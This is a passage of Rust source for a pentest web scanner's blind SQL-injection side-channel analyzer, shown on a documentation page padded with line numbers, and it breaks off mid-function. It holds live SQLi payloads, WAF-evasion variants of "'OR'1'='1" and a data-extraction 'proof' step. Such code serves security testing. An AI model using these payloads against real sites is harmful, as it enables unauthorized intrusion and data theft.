lonkero 3.6.2

Web scanner built for actual pentests. Fast, modular, Rust.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
// Copyright (c) 2026 Bountyy Oy. All rights reserved.
//
// Side-Channel Analyzer
//
// High-level interface for probabilistic vulnerability detection
// without requiring out-of-band callbacks.

use crate::http_client::{HttpClient, HttpResponse};
use crate::inference::bayesian::{BayesianCombiner, CombinedResult, Signal, SignalType};
use crate::inference::signals::{ResonanceAnalyzer, SideChannelSuite};
use std::sync::Arc;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio_native_tls::TlsConnector;
use tracing::{debug, info, warn};

/// Side-channel analyzer for blind vulnerability detection
pub struct SideChannelAnalyzer {
    http_client: Arc<HttpClient>,
    combiner: BayesianCombiner,
}

impl SideChannelAnalyzer {
    pub fn new(http_client: Arc<HttpClient>) -> Self {
        Self {
            http_client,
            combiner: BayesianCombiner::new(),
        }
    }

    /// Perform comprehensive side-channel analysis for SQL injection
    ///
    /// This is the main entry point for "no-OOB" blind SQLi detection.
    /// It combines multiple weak signals into a strong probabilistic inference.
    ///
    /// Flow:
    /// 1. Basic behavioral tests (quote, resonance, boolean, arithmetic)
    /// 2. If BooleanDifferential works → Extract data to PROVE SQLi
    /// 3. If uncertain → Advanced timing (MicroTimingLeak, RaceOracle)
    /// 4. If still uncertain → Definitive tests (TrueSinglePacket, CalibratedSleep)
    /// 5. Final combination with all evidence
    pub async fn analyze_sqli(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> SideChannelResult {
        info!(
            "[SideChannel] Analyzing {} parameter '{}' for blind SQLi",
            base_url, parameter
        );

        let mut all_signals: Vec<Signal> = Vec::new();

        // Initialize analyzers
        let suite = SideChannelSuite::new(baseline);
        let resonance = ResonanceAnalyzer::new(Arc::clone(&self.http_client));

        // ================================================================
        // PHASE 1: Quick behavioral tests
        // ================================================================

        // Test 1: Simple quote injection
        let quote_url = self.build_test_url(base_url, parameter, "'");
        if let Ok(quote_resp) = self.http_client.get(&quote_url).await {
            let signals = suite.analyze(&quote_resp);
            debug!("[SideChannel] Quote test signals: {:?}", signals.len());
            all_signals.extend(signals);
        }

        // Test 2: Resonance analysis (quote oscillation)
        let resonance_signal = resonance.analyze(base_url, parameter, baseline).await;
        debug!("[SideChannel] Resonance signal: P={:.2}", resonance_signal.probability);
        all_signals.push(resonance_signal);

        // Test 3: Boolean differential
        let bool_signals = self.analyze_boolean_differential(base_url, parameter, baseline).await;
        let has_boolean_diff = bool_signals.iter()
            .any(|s| s.signal_type == SignalType::BooleanDifferential && s.probability > 0.7);
        all_signals.extend(bool_signals);

        // Test 4: Arithmetic injection
        let arith_signals = self.analyze_arithmetic(base_url, parameter, baseline).await;
        all_signals.extend(arith_signals);

        // Test 5: Quote cancellation (value'' = value)
        let cancel_signals = self.analyze_quote_cancellation(base_url, parameter, baseline).await;
        all_signals.extend(cancel_signals);

        // Test 6: Comment injection (value-- = value)
        let comment_signals = self.analyze_comment_injection(base_url, parameter, baseline).await;
        all_signals.extend(comment_signals);

        // ================================================================
        // PHASE 2: If Boolean Differential works → PROVE it with extraction
        // This is the key innovation: don't just detect, PROVE!
        // ================================================================
        if has_boolean_diff {
            info!("[SideChannel] Boolean differential detected - attempting data extraction for PROOF");
            let extraction_signals = self.extract_data_proof(base_url, parameter, baseline).await;

            // If we extracted data, this is definitive proof
            let extraction_confirmed = extraction_signals.iter()
                .any(|s| s.signal_type == SignalType::DataExtraction && s.probability > 0.99);

            all_signals.extend(extraction_signals);

            if extraction_confirmed {
                // Early return - we have definitive proof
                let result = self.combiner.combine(&all_signals);
                info!(
                    "[SideChannel] CONFIRMED via data extraction: P={:.3} confidence={}",
                    result.probability, result.confidence
                );
                return SideChannelResult {
                    url: base_url.to_string(),
                    parameter: parameter.to_string(),
                    combined: result,
                    all_signals,
                };
            }
        }

        // ================================================================
        // PHASE 3: Encoding and WAF tests
        // ================================================================

        // Test 7: Hex encoding evaluation (0x61646D696E = admin)
        let hex_signals = self.analyze_hex_encoding(base_url, parameter, baseline).await;
        all_signals.extend(hex_signals);

        // Test 8: Null byte truncation (value%00garbage = value)
        let null_signals = self.analyze_null_byte(base_url, parameter, baseline).await;
        all_signals.extend(null_signals);

        // Test 9: WAF detection (use blocked payloads as oracle)
        let waf_signals = self.analyze_waf_behavior(base_url, parameter, baseline).await;
        all_signals.extend(waf_signals);

        // Test 10: Compression oracle
        let compression_signals = self.analyze_compression_oracle(base_url, parameter, baseline).await;
        all_signals.extend(compression_signals);

        // ================================================================
        // PHASE 4: Timing-based tests (if still uncertain)
        // ================================================================
        let current_prob = self.combiner.combine(&all_signals).probability;

        // Test 11: Micro-timing analysis (statistical, 20+ samples)
        if current_prob < 0.7 {
            let timing_signals = self.analyze_micro_timing(base_url, parameter).await;
            all_signals.extend(timing_signals);
        }

        // Test 12: Advanced micro-timing leak detection (50+ samples)
        let current_prob = self.combiner.combine(&all_signals).probability;
        if current_prob > 0.3 && current_prob < 0.8 {
            let leak_signals = self.analyze_micro_timing_leak(base_url, parameter).await;
            all_signals.extend(leak_signals);
        }

        // Test 13: HTTP/2 Race Oracle (response ordering, not timing)
        let current_prob = self.combiner.combine(&all_signals).probability;
        if current_prob > 0.4 && current_prob < 0.85 {
            let race_signals = self.analyze_race_oracle(base_url, parameter).await;
            all_signals.extend(race_signals);
        }

        // Test 14: Standard Single-Packet timing (burst timing)
        let current_prob = self.combiner.combine(&all_signals).probability;
        if current_prob > 0.5 && current_prob < 0.85 {
            let packet_signals = self.analyze_single_packet(base_url, parameter).await;
            all_signals.extend(packet_signals);
        }

        // ================================================================
        // PHASE 5: DEFINITIVE timing tests (for high-value confirmations)
        // ================================================================
        let current_prob = self.combiner.combine(&all_signals).probability;

        // Test 15: True Single-Packet Attack (raw TCP, microsecond precision)
        if current_prob > 0.5 && current_prob < 0.9 {
            let true_packet_signals = self.analyze_true_single_packet(base_url, parameter).await;
            all_signals.extend(true_packet_signals);
        }

        // Test 16: Calibrated SLEEP correlation (DEFINITIVE timing proof)
        let current_prob = self.combiner.combine(&all_signals).probability;
        if current_prob > 0.4 && current_prob < 0.95 {
            info!("[SideChannel] Running calibrated SLEEP correlation for definitive timing proof");
            let sleep_signals = self.analyze_calibrated_sleep(base_url, parameter).await;

            // Check if we got definitive confirmation
            let sleep_confirmed = sleep_signals.iter()
                .any(|s| s.signal_type == SignalType::CalibratedSleep && s.probability > 0.98);

            all_signals.extend(sleep_signals);

            if sleep_confirmed {
                let result = self.combiner.combine(&all_signals);
                info!(
                    "[SideChannel] CONFIRMED via SLEEP correlation: P={:.3} confidence={}",
                    result.probability, result.confidence
                );
                return SideChannelResult {
                    url: base_url.to_string(),
                    parameter: parameter.to_string(),
                    combined: result,
                    all_signals,
                };
            }
        }

        // ================================================================
        // FINAL: Combine all signals
        // ================================================================
        let result = self.combiner.combine(&all_signals);

        info!(
            "[SideChannel] Combined result: P={:.3} confidence={} signals={} classes={}",
            result.probability, result.confidence, result.signals_used, result.independent_classes
        );

        SideChannelResult {
            url: base_url.to_string(),
            parameter: parameter.to_string(),
            combined: result,
            all_signals,
        }
    }

    /// Analyze boolean differential (AND 1=1 vs AND 1=2)
    ///
    /// Statistical approach: measure EFFECT SIZE, not just threshold.
    /// Effect size = (mean_true - mean_false) / pooled_std
    async fn analyze_boolean_differential(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        // Get current parameter value
        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        let true_payload = format!("{} AND 1=1", current_value);
        let false_payload = format!("{} AND 1=2", current_value);

        let true_url = self.build_test_url(base_url, parameter, &true_payload);
        let false_url = self.build_test_url(base_url, parameter, &false_payload);

        // Run MULTIPLE samples to get statistical stability
        let n_samples = 3;
        let mut true_lengths: Vec<f64> = Vec::new();
        let mut false_lengths: Vec<f64> = Vec::new();

        for _ in 0..n_samples {
            let (true_resp, false_resp) = tokio::join!(
                self.http_client.get(&true_url),
                self.http_client.get(&false_url)
            );

            if let Ok(tr) = true_resp {
                true_lengths.push(tr.body.len() as f64);
            }
            if let Ok(fr) = false_resp {
                false_lengths.push(fr.body.len() as f64);
            }
        }

        if true_lengths.len() >= 2 && false_lengths.len() >= 2 {
            // Calculate effect size (Cohen's d)
            let mean_true: f64 = true_lengths.iter().sum::<f64>() / true_lengths.len() as f64;
            let mean_false: f64 = false_lengths.iter().sum::<f64>() / false_lengths.len() as f64;

            let var_true: f64 = true_lengths.iter()
                .map(|x| (x - mean_true).powi(2))
                .sum::<f64>() / (true_lengths.len() - 1) as f64;
            let var_false: f64 = false_lengths.iter()
                .map(|x| (x - mean_false).powi(2))
                .sum::<f64>() / (false_lengths.len() - 1) as f64;

            let pooled_std = ((var_true + var_false) / 2.0).sqrt().max(1.0);
            let effect_size = (mean_true - mean_false).abs() / pooled_std;

            // Check consistency: true should match baseline, false should differ
            let baseline_len = baseline.body.len() as f64;
            let true_matches_baseline = (mean_true - baseline_len).abs() / baseline_len.max(1.0) < 0.1;
            let false_differs = (mean_false - baseline_len).abs() / baseline_len.max(1.0) > 0.2;

            // Effect size interpretation (Cohen's d):
            // 0.2 = small, 0.5 = medium, 0.8 = large
            let probability = if effect_size > 2.0 && true_matches_baseline && false_differs {
                0.95  // Very large effect, correct pattern
            } else if effect_size > 1.0 && true_matches_baseline {
                0.85
            } else if effect_size > 0.8 {
                0.7
            } else if effect_size > 0.5 {
                0.55
            } else {
                0.25  // Small effect = likely noise
            };

            signals.push(Signal::new(
                SignalType::BooleanDifferential,  // Correct type!
                probability,
                effect_size,
                &format!(
                    "Boolean differential: effect_size={:.2} (true={:.0}±{:.0}, false={:.0}±{:.0})",
                    effect_size, mean_true, var_true.sqrt(), mean_false, var_false.sqrt()
                ),
            ));

            // Add NEGATIVE evidence if no effect detected
            if effect_size < 0.3 {
                signals.push(Signal::new(
                    SignalType::ConsistentBehavior,
                    0.8,  // High confidence in no difference
                    effect_size,
                    "No boolean differential detected (consistent behavior)",
                ));
            }
        }

        signals
    }

    /// Analyze arithmetic injection
    ///
    /// Tests if (value+1)-1 returns same as value, indicating SQL math evaluation.
    /// Uses multiple samples for statistical confidence.
    async fn analyze_arithmetic(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        // Get current parameter value
        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Only works for numeric values
        let num_value: i64 = match current_value.parse() {
            Ok(n) if n > 1 => n,
            _ => return signals,
        };

        // Run multiple arithmetic tests for stability
        let test_cases = [
            (format!("{}-1+1", num_value), "n-1+1"),     // Should equal n
            (format!("{}*1", num_value), "n*1"),         // Should equal n
            (format!("{}/1", num_value), "n/1"),         // Should equal n
        ];

        let mut matching_tests = 0;
        let mut total_effect = 0.0;

        for (payload, _desc) in &test_cases {
            let url = self.build_test_url(base_url, parameter, payload);

            // Multiple samples per test
            let mut similarities: Vec<f64> = Vec::new();
            for _ in 0..2 {
                if let Ok(resp) = self.http_client.get(&url).await {
                    let sim = self.calculate_similarity(baseline, &resp);
                    similarities.push(sim);
                }
            }

            if !similarities.is_empty() {
                let avg_sim: f64 = similarities.iter().sum::<f64>() / similarities.len() as f64;
                if avg_sim > 0.85 {
                    matching_tests += 1;
                    total_effect += avg_sim;
                }
            }
        }

        // Calculate overall probability based on how many tests matched
        let probability = match matching_tests {
            3 => 0.95,  // All three arithmetic tests match = very strong
            2 => 0.85,
            1 => 0.6,
            0 => 0.2,
            _ => 0.1,
        };

        if matching_tests > 0 {
            signals.push(Signal::new(
                SignalType::ArithmeticEval,  // Correct type!
                probability,
                total_effect / matching_tests as f64,
                &format!(
                    "Arithmetic evaluation: {}/{} tests matched (n={})",
                    matching_tests, test_cases.len(), num_value
                ),
            ));
        } else {
            // Add negative evidence
            signals.push(Signal::new(
                SignalType::NoChange,
                0.7,
                0.0,
                "Arithmetic expressions not evaluated",
            ));
        }

        signals
    }

    /// Analyze hex encoding evaluation
    ///
    /// Tests if 0x61646D696E returns same as 'admin'
    /// If SQL decodes hex, they'll match → SQLi confirmed
    async fn analyze_hex_encoding(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        // Get current parameter value
        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "admin".to_string());

        // Convert value to hex: 'admin' → 0x61646D696E
        let hex_value = format!("0x{}", current_value.bytes()
            .map(|b| format!("{:02x}", b))
            .collect::<String>());

        let hex_url = self.build_test_url(base_url, parameter, &hex_value);

        if let Ok(hex_resp) = self.http_client.get(&hex_url).await {
            let similarity = self.calculate_similarity(baseline, &hex_resp);

            if similarity > 0.85 {
                // Hex was decoded by SQL!
                signals.push(Signal::new(
                    SignalType::HexEncoding,
                    0.92,
                    similarity,
                    &format!("Hex encoding {} decoded to match baseline", hex_value),
                ));
            } else if similarity < 0.3 {
                // Different response - hex not decoded (normal)
                // No signal either way
            }
        }

        signals
    }

    /// Analyze null byte truncation
    ///
    /// Tests if value%00garbage returns same as value
    /// If SQL truncates at null, they'll match → SQLi indicator
    async fn analyze_null_byte(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "test".to_string());

        // Test: value%00garbage (null byte + junk)
        let null_payload = format!("{}%00randomjunk12345", current_value);
        let null_url = self.build_test_url(base_url, parameter, &null_payload);

        if let Ok(null_resp) = self.http_client.get(&null_url).await {
            let similarity = self.calculate_similarity(baseline, &null_resp);

            if similarity > 0.85 {
                // Null byte truncated the junk!
                signals.push(Signal::new(
                    SignalType::NullByteTrunc,
                    0.88,
                    similarity,
                    "Null byte truncation detected (junk after %00 ignored)",
                ));
            }
        }

        // Also test with actual null byte (not URL encoded)
        let null_payload2 = format!("{}\x00morejunk", current_value);
        let null_url2 = self.build_test_url(base_url, parameter, &null_payload2);

        if let Ok(null_resp2) = self.http_client.get(&null_url2).await {
            let similarity = self.calculate_similarity(baseline, &null_resp2);

            if similarity > 0.85 && signals.is_empty() {
                signals.push(Signal::new(
                    SignalType::NullByteTrunc,
                    0.85,
                    similarity,
                    "Raw null byte truncation detected",
                ));
            }
        }

        signals
    }

    /// Analyze WAF behavior as oracle
    ///
    /// If WAF blocks some payloads but not others, that tells us:
    /// 1. There IS a WAF (context info)
    /// 2. What the WAF thinks is dangerous (inverted signal)
    /// 3. What bypasses work (if bypass works + behavior change = likely vuln)
    async fn analyze_waf_behavior(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Test 1: Obviously malicious payload (should be blocked by WAF)
        let obvious_sqli = format!("{}'OR'1'='1", current_value);
        let obvious_url = self.build_test_url(base_url, parameter, &obvious_sqli);

        let obvious_resp = self.http_client.get(&obvious_url).await.ok();
        let obvious_blocked = obvious_resp.as_ref()
            .map(|r| self.is_waf_block(r))
            .unwrap_or(false);

        // Test 2: Evasion payload (might bypass WAF)
        let bypass_sqli = format!("{}'+oR+'1'='1", current_value);  // Case mixing
        let bypass_url = self.build_test_url(base_url, parameter, &bypass_sqli);

        let bypass_resp = self.http_client.get(&bypass_url).await.ok();
        let bypass_blocked = bypass_resp.as_ref()
            .map(|r| self.is_waf_block(r))
            .unwrap_or(false);

        // Test 3: Another evasion (inline comment)
        let bypass2_sqli = format!("{}'+/**/OR/**/+'1'='1", current_value);
        let bypass2_url = self.build_test_url(base_url, parameter, &bypass2_sqli);

        let bypass2_resp = self.http_client.get(&bypass2_url).await.ok();
        let bypass2_blocked = bypass2_resp.as_ref()
            .map(|r| self.is_waf_block(r))
            .unwrap_or(false);

        // Analyze WAF behavior patterns
        if obvious_blocked {
            // WAF is present and blocking SQLi
            signals.push(Signal::new(
                SignalType::WafBlock,
                0.6,  // WAF blocking = payload is "dangerous" (indirect evidence)
                1.0,
                "WAF detected: blocking obvious SQLi patterns",
            ));

            // Check if bypass worked
            if !bypass_blocked || !bypass2_blocked {
                // Bypass worked!
                if let Some(ref bypass_r) = bypass_resp {
                    if !bypass_blocked {
                        let sim = self.calculate_similarity(baseline, bypass_r);
                        if sim > 0.7 {
                            signals.push(Signal::new(
                                SignalType::WafBypass,
                                0.75,
                                sim,
